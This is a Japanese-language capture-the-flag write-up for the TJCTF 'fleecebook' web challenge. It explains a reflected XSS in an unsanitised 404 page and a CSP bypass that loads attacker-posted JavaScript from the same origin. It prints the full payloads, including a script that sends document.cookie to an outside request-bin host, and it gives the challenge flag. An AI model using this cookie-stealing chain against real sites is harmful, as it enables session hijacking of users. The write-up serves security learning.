# fleecebook:web:378ptsI made a place to post all you want about fleece!  I guess you could say, it's kinda meta...  [fleecebook.tjc.tf](https://fleecebook.tjc.tf/)  [Admin Bot](https://admin-bot.tjctf.org/fleecebook)  
Downloads  [admin-bot.js](admin-bot.js)　[server.zip](server.zip)  
# SolutionXSS問題セットとソースが渡される。  アクセスすると謎のfleece推しサイトが出てきた(マウスポインタもfleeceである…)。  fleecebook  [site.png](site/site.png)  `/post`にてタイトルとコンテンツが投稿できるがサニタイズされている。  ここでソースを見ると以下のようであった。  ```python~~~@app.errorhandler(404)def not_found(e):    return 'your fleece page (' + request.path + ') could not be found :notlikefleececry:'~~~```404エラーページではサニタイズが見られない。  ```bash$ curl "https://fleecebook.tjc.tf/%3Cs%3E"your fleece page (/) could not be found :notlikefleececry:```タグの挿入に成功するが、CSPにて`script-src 'self'`とされているためインラインscriptタグでのXSSなどはできないようだ。  同一オリジンにjsなどをアップロードしてXSSを行う方針をとる。  ここで、`/post`にて任意のタイトルとコンテンツを投稿できることを思い出す。  これをjsとして読み込めばよい。  通常のテキストを投稿したものは以下のような形式であった。  ```
    title - 2022-05-15 02:45:44     content `````などが邪魔だがコメントアウトすればよい。  リクエストは[RequestBin.com](https://requestbin.com/)で受け取る。 サニタイズされるため、シングルクォートやダブルクォートなどは利用できない。  titleを  ```location.href=`https://xxxxxxxxxxxxx.x.pipedream.net?s=`+document.cookie; /*```contentを  ```*/```とし、投稿を行う。  これにより、リダイレクトを行いcookieを取得するjsが設置できた。  生成したURLは`https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571`である。  ```bash$ curl https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571
    location.href=`https://endetltc6t33d.x.pipedream.net?s=`+document.cookie; /* - 2022-05-15 02:52:55     */ ```これを404ページよりscriptのsrcとして読み込む。  最終的にXSSを行うURLは、```https://fleecebook.tjc.tf/static/"><script src='https://fleecebook.tjc.tf/post/b7515134-68ff-48ab-986d-d8684602c571'></script>```となる。  これをAdmin Botに送信する。  CSPがバイパスでき、`/?s=flag=tjctf{s3a_e5s_p3A_5a1d68d16c7e1d2a}`なるflagを含むリクエストを受信した。  
## tjctf{s3a_e5s_p3A_5a1d68d16c7e1d2a}